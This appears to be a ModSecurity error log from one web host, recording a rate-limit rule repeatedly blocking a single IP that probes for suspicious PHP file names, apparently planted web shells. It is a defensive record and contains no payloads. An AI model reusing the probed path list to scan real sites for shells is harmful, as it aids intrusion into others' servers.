[Wed Apr 08 00:05:42.414013 2026] [:error] [pid 12948:tid 12970] [client 20.251.113.42:54138] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/store.php"] [unique_id "adUrVsbeSPAN8LvMqsbTbgAAARM"]
[Wed Apr 08 00:05:42.955700 2026] [:error] [pid 37719:tid 37731] [client 20.251.113.42:12482] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xenium4.php"] [unique_id "adUrVk09Xv52u2xXGLBuzQAAAMk"]
[Wed Apr 08 00:05:43.496900 2026] [:error] [pid 59804:tid 59827] [client 20.251.113.42:20323] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xenium4.php"] [unique_id "adUrV3YVIXiPh5_eJTkRgAAAAhU"]
[Wed Apr 08 00:05:44.041420 2026] [:error] [pid 59804:tid 59820] [client 20.251.113.42:23286] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xenium4.php"] [unique_id "adUrWHYVIXiPh5_eJTkRgwAAAg4"]
[Wed Apr 08 00:05:44.575635 2026] [:error] [pid 37598:tid 37669] [client 20.251.113.42:4710] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xenium4.php"] [unique_id "adUrWO9g7q_cV2WhPazq8gAAAIg"]
[Wed Apr 08 00:05:45.129630 2026] [:error] [pid 59660:tid 59682] [client 20.251.113.42:52436] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1aa.php"] [unique_id "adUrWTp3-oiX2o5bTswyQgAAAdQ"]
[Wed Apr 08 00:05:45.700778 2026] [:error] [pid 59804:tid 59806] [client 20.251.113.42:60453] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1aa.php"] [unique_id "adUrWXYVIXiPh5_eJTkRhwAAAgA"]
[Wed Apr 08 00:05:46.223039 2026] [:error] [pid 59804:tid 59818] [client 20.251.113.42:12539] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1aa.php"] [unique_id "adUrWnYVIXiPh5_eJTkRigAAAgw"]
[Wed Apr 08 00:05:46.790832 2026] [:error] [pid 37719:tid 37736] [client 20.251.113.42:33652] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1aa.php"] [unique_id "adUrWk09Xv52u2xXGLBu0gAAAM4"]
[Wed Apr 08 00:05:47.315782 2026] [:error] [pid 59551:tid 59569] [client 20.251.113.42:23281] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpyur.php"] [unique_id "adUrW17LN7Ubyqs-sVtJOwAAAZA"]
[Wed Apr 08 00:05:47.851327 2026] [:error] [pid 59804:tid 59827] [client 20.251.113.42:62057] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpyur.php"] [unique_id "adUrW3YVIXiPh5_eJTkRkAAAAhU"]
[Wed Apr 08 00:05:48.377205 2026] [:error] [pid 59551:tid 59566] [client 20.251.113.42:12452] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpyur.php"] [unique_id "adUrXF7LN7Ubyqs-sVtJPwAAAY0"]
[Wed Apr 08 00:05:48.937461 2026] [:error] [pid 37598:tid 37670] [client 20.251.113.42:20308] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpyur.php"] [unique_id "adUrXO9g7q_cV2WhPazq9QAAAIk"]
[Wed Apr 08 00:05:49.518559 2026] [:error] [pid 59490:tid 59506] [client 20.251.113.42:33644] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wglum.php"] [unique_id "adUrXUcw8OFbiUZ7Rx2DGwAAAU4"]
[Wed Apr 08 00:05:50.063840 2026] [:error] [pid 59660:tid 59675] [client 20.251.113.42:33606] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wglum.php"] [unique_id "adUrXjp3-oiX2o5bTswyTQAAAc0"]
[Wed Apr 08 00:05:50.765960 2026] [:error] [pid 37598:tid 37674] [client 20.251.113.42:15433] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wglum.php"] [unique_id "adUrXu9g7q_cV2WhPazq-QAAAI0"]
[Wed Apr 08 00:05:51.444768 2026] [:error] [pid 37719:tid 37739] [client 20.251.113.42:13524] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wglum.php"] [unique_id "adUrX009Xv52u2xXGLBu0wAAANE"]
[Wed Apr 08 00:05:52.206138 2026] [:error] [pid 37597:tid 37646] [client 20.251.113.42:12001] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ayk.php"] [unique_id "adUrYA6uAY0QAy-8EELm-gAAAEw"]
[Wed Apr 08 00:05:52.842680 2026] [:error] [pid 59551:tid 59565] [client 20.251.113.42:12445] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ayk.php"] [unique_id "adUrYF7LN7Ubyqs-sVtJRAAAAYw"]
[Wed Apr 08 00:05:53.427742 2026] [:error] [pid 59551:tid 59556] [client 20.251.113.42:11990] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ayk.php"] [unique_id "adUrYV7LN7Ubyqs-sVtJRgAAAYM"]
[Wed Apr 08 00:05:54.007554 2026] [:error] [pid 37598:tid 37661] [client 20.251.113.42:33629] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ayk.php"] [unique_id "adUrYu9g7q_cV2WhPazrAQAAAIA"]
[Wed Apr 08 00:05:54.652813 2026] [:error] [pid 59551:tid 59569] [client 20.251.113.42:20813] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byp8.php"] [unique_id "adUrYl7LN7Ubyqs-sVtJSQAAAZA"]
[Wed Apr 08 00:05:55.199380 2026] [:error] [pid 37719:tid 37745] [client 20.251.113.42:39848] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byp8.php"] [unique_id "adUrY009Xv52u2xXGLBu1gAAANc"]
[Wed Apr 08 00:05:55.805169 2026] [:error] [pid 12948:tid 12959] [client 20.251.113.42:54087] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byp8.php"] [unique_id "adUrY8beSPAN8LvMqsbTfgAAAQg"]
[Wed Apr 08 00:05:56.404538 2026] [:error] [pid 59551:tid 59555] [client 20.251.113.42:12002] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byp8.php"] [unique_id "adUrZF7LN7Ubyqs-sVtJSgAAAYI"]
[Wed Apr 08 00:05:57.013401 2026] [:error] [pid 59660:tid 59680] [client 20.251.113.42:33601] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byrgo.php"] [unique_id "adUrZTp3-oiX2o5bTswyWQAAAdI"]
[Wed Apr 08 00:05:57.582598 2026] [:error] [pid 59804:tid 59813] [client 20.251.113.42:29664] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byrgo.php"] [unique_id "adUrZXYVIXiPh5_eJTkRrQAAAgc"]
[Wed Apr 08 00:05:58.172963 2026] [:error] [pid 37719:tid 37746] [client 20.251.113.42:20307] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byrgo.php"] [unique_id "adUrZk09Xv52u2xXGLBu2AAAANg"]
[Wed Apr 08 00:05:58.733552 2026] [:error] [pid 37598:tid 37670] [client 20.251.113.42:26246] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byrgo.php"] [unique_id "adUrZu9g7q_cV2WhPazrBQAAAIk"]
[Wed Apr 08 00:05:59.305139 2026] [:error] [pid 37597:tid 37639] [client 20.251.113.42:26248] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gilo.php"] [unique_id "adUrZw6uAY0QAy-8EELm_gAAAEU"]
[Wed Apr 08 00:05:59.938828 2026] [:error] [pid 59804:tid 59824] [client 20.251.113.42:20837] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gilo.php"] [unique_id "adUrZ3YVIXiPh5_eJTkRsQAAAhI"]
[Wed Apr 08 00:06:00.539899 2026] [:error] [pid 37598:tid 37682] [client 20.251.113.42:4729] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gilo.php"] [unique_id "adUraO9g7q_cV2WhPazrBwAAAJU"]
[Wed Apr 08 00:06:01.114600 2026] [:error] [pid 59804:tid 59819] [client 20.251.113.42:12502] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gilo.php"] [unique_id "adUraXYVIXiPh5_eJTkRtwAAAg0"]
[Wed Apr 08 00:06:01.729481 2026] [:error] [pid 59804:tid 59816] [client 20.251.113.42:33660] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww.php"] [unique_id "adUraXYVIXiPh5_eJTkRvQAAAgo"]
[Wed Apr 08 00:06:02.261355 2026] [:error] [pid 37597:tid 37641] [client 20.251.113.42:13566] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww.php"] [unique_id "adUrag6uAY0QAy-8EELnAQAAAEc"]
[Wed Apr 08 00:06:02.806204 2026] [:error] [pid 37597:tid 37652] [client 20.251.113.42:4673] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww.php"] [unique_id "adUrag6uAY0QAy-8EELnBAAAAFI"]
[Wed Apr 08 00:06:03.329543 2026] [:error] [pid 37597:tid 37642] [client 20.251.113.42:20834] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww.php"] [unique_id "adUraw6uAY0QAy-8EELnBgAAAEg"]
[Wed Apr 08 00:06:03.899309 2026] [:error] [pid 37597:tid 37647] [client 20.251.113.42:42324] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x7r.php"] [unique_id "adUraw6uAY0QAy-8EELnCQAAAE0"]
[Wed Apr 08 00:06:04.446549 2026] [:error] [pid 37597:tid 37645] [client 20.251.113.42:20303] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x7r.php"] [unique_id "adUrbA6uAY0QAy-8EELnDgAAAEs"]
[Wed Apr 08 00:06:04.992281 2026] [:error] [pid 37598:tid 37674] [client 20.251.113.42:9568] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x7r.php"] [unique_id "adUrbO9g7q_cV2WhPazrCQAAAI0"]
[Wed Apr 08 00:06:05.545110 2026] [:error] [pid 59660:tid 59671] [client 20.251.113.42:28227] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x7r.php"] [unique_id "adUrbTp3-oiX2o5bTswyXAAAAck"]
[Wed Apr 08 00:06:06.164472 2026] [:error] [pid 37719:tid 37740] [client 20.251.113.42:4805] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riz.php"] [unique_id "adUrbk09Xv52u2xXGLBu2gAAANI"]
[Wed Apr 08 00:06:07.080027 2026] [:error] [pid 37598:tid 37676] [client 20.251.113.42:58515] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riz.php"] [unique_id "adUrb-9g7q_cV2WhPazrEgAAAI8"]
[Wed Apr 08 00:06:07.936586 2026] [:error] [pid 37719:tid 37723] [client 20.251.113.42:10287] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riz.php"] [unique_id "adUrb009Xv52u2xXGLBu3QAAAME"]
[Wed Apr 08 00:06:08.509413 2026] [:error] [pid 37597:tid 37646] [client 20.251.113.42:33618] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riz.php"] [unique_id "adUrcA6uAY0QAy-8EELnFQAAAEw"]
[Wed Apr 08 00:06:09.082718 2026] [:error] [pid 37719:tid 37737] [client 20.251.113.42:55060] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp3.php"] [unique_id "adUrcU09Xv52u2xXGLBu3wAAAM8"]
[Wed Apr 08 00:06:09.752245 2026] [:error] [pid 59660:tid 59679] [client 20.251.113.42:11991] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp3.php"] [unique_id "adUrcTp3-oiX2o5bTswyYAAAAdE"]
[Wed Apr 08 00:06:10.451718 2026] [:error] [pid 59804:tid 59819] [client 20.251.113.42:26243] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp3.php"] [unique_id "adUrcnYVIXiPh5_eJTkR3wAAAg0"]
[Wed Apr 08 00:06:11.078622 2026] [:error] [pid 37719:tid 37742] [client 20.251.113.42:42308] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp3.php"] [unique_id "adUrc009Xv52u2xXGLBu4gAAANQ"]
[Wed Apr 08 00:06:11.693478 2026] [:error] [pid 59551:tid 59559] [client 20.251.113.42:38429] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gecko.php"] [unique_id "adUrc17LN7Ubyqs-sVtJUgAAAYY"]
[Wed Apr 08 00:06:12.261311 2026] [:error] [pid 12948:tid 12974] [client 20.251.113.42:57092] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gecko.php"] [unique_id "adUrdMbeSPAN8LvMqsbThwAAARc"]
[Wed Apr 08 00:06:12.972830 2026] [:error] [pid 59660:tid 59666] [client 20.251.113.42:4728] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gecko.php"] [unique_id "adUrdDp3-oiX2o5bTswyYwAAAcQ"]
[Wed Apr 08 00:06:13.613641 2026] [:error] [pid 59551:tid 59561] [client 20.251.113.42:28270] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gecko.php"] [unique_id "adUrdV7LN7Ubyqs-sVtJWAAAAYg"]
[Wed Apr 08 00:06:14.226922 2026] [:error] [pid 59551:tid 59576] [client 20.251.113.42:38259] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ympoo.php"] [unique_id "adUrdl7LN7Ubyqs-sVtJXQAAAZc"]
[Wed Apr 08 00:06:14.876746 2026] [:error] [pid 37719:tid 37733] [client 20.251.113.42:4699] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ympoo.php"] [unique_id "adUrdk09Xv52u2xXGLBu4wAAAMs"]
[Wed Apr 08 00:06:15.668900 2026] [:error] [pid 37598:tid 37675] [client 20.251.113.42:59566] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ympoo.php"] [unique_id "adUrd-9g7q_cV2WhPazrGQAAAI4"]
